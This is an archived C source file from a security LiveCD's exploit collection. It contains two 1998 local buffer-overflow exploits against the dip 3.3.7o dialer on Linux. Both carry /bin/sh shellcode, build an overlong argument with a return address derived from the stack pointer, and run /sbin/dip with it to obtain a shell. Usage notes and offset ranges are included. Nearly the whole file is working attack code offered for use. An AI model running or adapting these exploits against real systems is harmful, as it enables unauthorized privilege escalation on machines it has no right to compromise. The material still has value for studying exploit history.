home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / linux / local / dip-exp.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  3KB  |  132 lines

  1.  
  2. /*
  3.       dip 3.3.7o buffer overflow exploit for Linux. (May 7, 1998)
  4.       coded by jamez. e-mail: jamez@uground.org
  5.  
  6.       thanks to all ppl from uground.
  7.  
  8.       usage:
  9.          gcc -o dip-exp dip3.3.7o-exp.c
  10.          ./dip-exp offset (-100 to 100. probably 0. tested on slack 3.4)
  11. */
  12.  
  13.  
  14.     char shellcode[] =
  15.       "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  16.       "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  17.       "\x80\xe8\xdc\xff\xff\xff/bin/sh";
  18.  
  19.  
  20.     #define SIZE 130
  21. /* cause it's a little buffer, i wont use NOP's */
  22.  
  23.     char buffer[SIZE];
  24.  
  25.  
  26. unsigned long get_esp(void) {
  27.        __asm__("movl %esp,%eax");
  28. }
  29.  
  30.  
  31.     void main(int argc, char * argv[])
  32. {
  33.       int i = 0,
  34.           offset = 0;
  35.       long addr;
  36.  
  37.  
  38.       if(argc > 1) offset = atoi(argv[1]);
  39.  
  40.       addr = get_esp() - offset - 0xcb;
  41.  
  42.       for(i = 0; i < strlen(shellcode); i++)
  43.          buffer[i] = shellcode[i];
  44.  
  45.       for (; i < SIZE; i += 4)
  46.     {
  47.          buffer[i  ] =  addr & 0x000000ff;
  48.          buffer[i+1] = (addr & 0x0000ff00) >> 8;
  49.          buffer[i+2] = (addr & 0x00ff0000) >> 16;
  50.          buffer[i+3] = (addr & 0xff000000) >> 24;
  51.     }
  52.  
  53.       buffer[SIZE - 1] = 0;
  54.  
  55.       execl("/sbin/dip", "dip", "-k", "-l", buffer, (char *)0);
  56. }
  57.  
  58. And another example of code is:
  59.  
  60. /*
  61.  * dip-3.3.7o buffer overrun                            07 May 1998
  62.  *
  63.  * sintax: ./dipr <offset>
  64.  *
  65.  *
  66.  *   offset: try increments of 50 between 1500 and 3000
  67.  *
  68.  *   tested in linux with dip version 3.3.7o (slak 3.4).
  69.  *
  70.  *                by zef and r00t @promisc.net
  71.  *
  72.  *                   http://www.promisc.net
  73.  */
  74.  
  75.     #include <stdio.h>
  76.     #include <stdlib.h>
  77.  
  78.     static inline getesp()
  79. {
  80.       __asm__(" movl %esp,%eax ");
  81. }
  82.  
  83.     main(int argc, char **argv)
  84. {
  85.       int jump,i,n;
  86.       unsigned long xaddr;
  87.       char *cmd[5], buf[4096];
  88.  
  89.  
  90.     char code[] =
  91.       "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  92.       "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  93.       "\x80\xe8\xdc\xff\xff\xff/bin/sh";
  94.  
  95.       jump=atoi(argv[1]);
  96.  
  97.       for (i=0;i<68;i++)
  98.         buf[i]=0x41;
  99.  
  100.       for (n=0,i=68;i<113;i++)
  101.         buf[i]=code[n++];
  102.  
  103.       xaddr=getesp()+jump;
  104.  
  105.       buf[i]=xaddr & 0xff;
  106.       buf[i+1]=(xaddr >> 8) & 0xff;
  107.       buf[i+2]=(xaddr >> 16) & 0xff;
  108.       buf[i+3]=(xaddr >> 24) & 0xff;
  109.  
  110.       buf[i+4]=xaddr & 0xff;
  111.       buf[i+5]=(xaddr >> 8) & 0xff;
  112.       buf[i+6]=(xaddr >> 16) & 0xff;
  113.       buf[i+6]=(xaddr >> 16) & 0xff;
  114.       buf[i+7]=(xaddr >> 24) & 0xff;
  115.  
  116.       cmd[0]=malloc(17);
  117.       strcpy(cmd[0],"/sbin/dip-3.3.7o");
  118.  
  119.       cmd[1]=malloc(3);
  120.       strcpy(cmd[1],"-k");
  121.  
  122.       cmd[2]=malloc(3);
  123.       strcpy(cmd[2],"-l");
  124.  
  125.       cmd[3]=buf;
  126.  
  127.       cmd[4]=NULL;
  128.  
  129.       execve(cmd[0],cmd,NULL);
  130. }
  131.  
  132.